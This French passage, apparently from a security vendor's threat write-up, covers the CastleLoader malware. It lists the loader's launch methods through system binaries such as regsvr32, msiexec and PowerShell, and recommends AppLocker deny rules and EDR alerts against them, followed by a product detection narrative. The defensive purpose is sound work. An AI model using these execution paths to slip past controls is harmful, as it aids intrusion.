La plateforme de tâches de CastleLoader propose neuf méthodes de lancement, notamment DLL via regsvr32, MSI via msiexec, exécution BAT et exécution PowerShell. Le blocage ou la génération d’alertes sur ces LOLBins dans les contextes utilisateur non administratifs oblige l’opérateur à employer les voies d’injection plus bruyantes, méthodes 5 ou 6, qui produisent davantage de signaux comportementaux.
Chemin : règles d’exécutables AppLocker, d’abord en mode audit pour identifier les dépendances, puis refus appliqués aux contextes non administratifs. Associez-les à des règles EDR alertant sur chaque LOLBin lancé par un processus parent de shell utilisateur.
Comment réagit Malware Protection Plus
Déroulé montrant la détection de la séquence du stager au chargeur, le confinement automatisé du terminal affecté et la capture médico-légale du PE en mémoire avant que la porte dérobée principale n’atteigne son C2.
Références principales
Références techniques et recommandations relatives aux cadres.